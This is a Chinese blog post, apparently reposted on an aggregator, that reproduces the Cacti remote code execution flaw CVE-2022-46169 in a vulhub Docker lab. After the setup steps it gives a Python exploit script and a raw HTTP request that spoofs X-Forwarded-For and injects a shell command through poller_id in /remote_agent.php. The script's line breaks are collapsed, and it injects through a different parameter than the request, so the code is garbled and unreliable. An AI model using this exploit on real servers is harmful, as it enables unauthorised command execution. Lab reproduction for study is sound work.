当前位置: 首页 > news >正文

完整复现cacti的RCE

环境搭建

从GitHub上复制地址

 git clone https://github.com/vulhub/vulhub

进入 vulhub 文件夹内部的 cacti 文件内夹的 CVE-2022-46169 文件夹,在这里面输入命令:

 docker-compose up -d

下载完后再浏览器上打开,ip加8080端口号。

打开网页后就输入用户名和密码然后下一步安装就行了

随后进行初始化,直到安装完成

 

在Cacti后台首页创建一个新的Graph,选device-uptime然后创建,创建完之后退出了 

随后在物理机的VScode上创建容器

docker exec -it <your-container>

然后安装Xdebug与Cacti后环境搭建完毕

漏洞复现
漏洞背景
Cacti 1.2.22及之前版本存在一个远程代码执行漏洞(CVE-2022-46169),攻击者可以通过精心构造的HTTP请求在服务器上执行任意命令。

漏洞利用步骤
访问Cacti安装页面完成安装

使用python脚本进行漏洞利用:

import requests
import sys
import urllib3
urllib3.disable_warnings()def exploit(url, cmd):headers = {"X-Forwarded-For": "127.0.0.1"}payload = f";{cmd}"params = {"action": "polldata","poller_id": "1","host_id": "1","local_data_ids[]": payload}try:r = requests.get(f"{url}/remote_agent.php", params=params, headers=headers, verify=False)print(r.text)except Exception as e:print(f"Error: {e}")if __name__ == "__main__":if len(sys.argv) != 3:print(f"Usage: {sys.argv[0]} <target_url> <command>")sys.exit(1)exploit(sys.argv[1], sys.argv[2])

随后作为攻击者发送如下的数据包:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

 

http://www.xdnf.cn/news/1226647.html

相关文章:

  • 机试01-C++基础语法与库函数
  • 大模型结构比较
  • python学智能算法(三十))|SVM-KKT条件的数学理解
  • 第七章 愿景12 小萍分享《人性的弱点》
  • WaitForSingleObject 函数参数影响及信号处理分析
  • C语言:20250801学习(构造类型)
  • JS-第十九天-事件(一)
  • 通过观看数百个外科手术视频课程来学习多模态表征|文献速递-医学影像算法文献分享
  • 从0开始学习R语言--Day64--决策树回归
  • 【2025/08/01】GitHub 今日热门项目
  • Android使用MediaProjectionManager获取游戏画面和投屏
  • 应用药品注册证识别技术,为医药行业的合规、高效与创新发展提供核心驱动力
  • TwinCAT3示例项目1
  • 探索 VMware 虚拟机:开启虚拟化世界的大门
  • 学习游戏制作记录(各种水晶能力以及多晶体)8.1
  • 新手小白如何快速检测IP 的好坏?
  • Vue2 项目实现 Gzip 压缩全攻略:从配置到部署避坑指南
  • 基于coze studio开源框架二次定制开发教程
  • 【MySQL索引失效场景】索引失效原因及最左前缀原则详解
  • OSPF综合实验报告册
  • Qt 开发 IDE 插件开发指南
  • 【文章素材】3dBackgroundBoxes(3D背景盒子组件)项目及文章思路
  • 从游戏NPC到手术助手:Agent AI重构多模态交互,具身智能打开AGI新大门
  • Spring之【循环引用】
  • SpringCloud(一)微服务基础认识
  • Transformer架构全解析:搭建AI的“神经网络大厦“
  • 从零到英雄:掌握神经网络的完整指南
  • Spotlight on MySQL 300安装教程(附使用指南):实时监控MySQL性能的工具
  • 60 GHz DreamHAT+ 雷达已被正式批准为“Powered by Raspberry Pi”产品
  • 学习笔记:原子操作与锁以及share_ptr的c++实现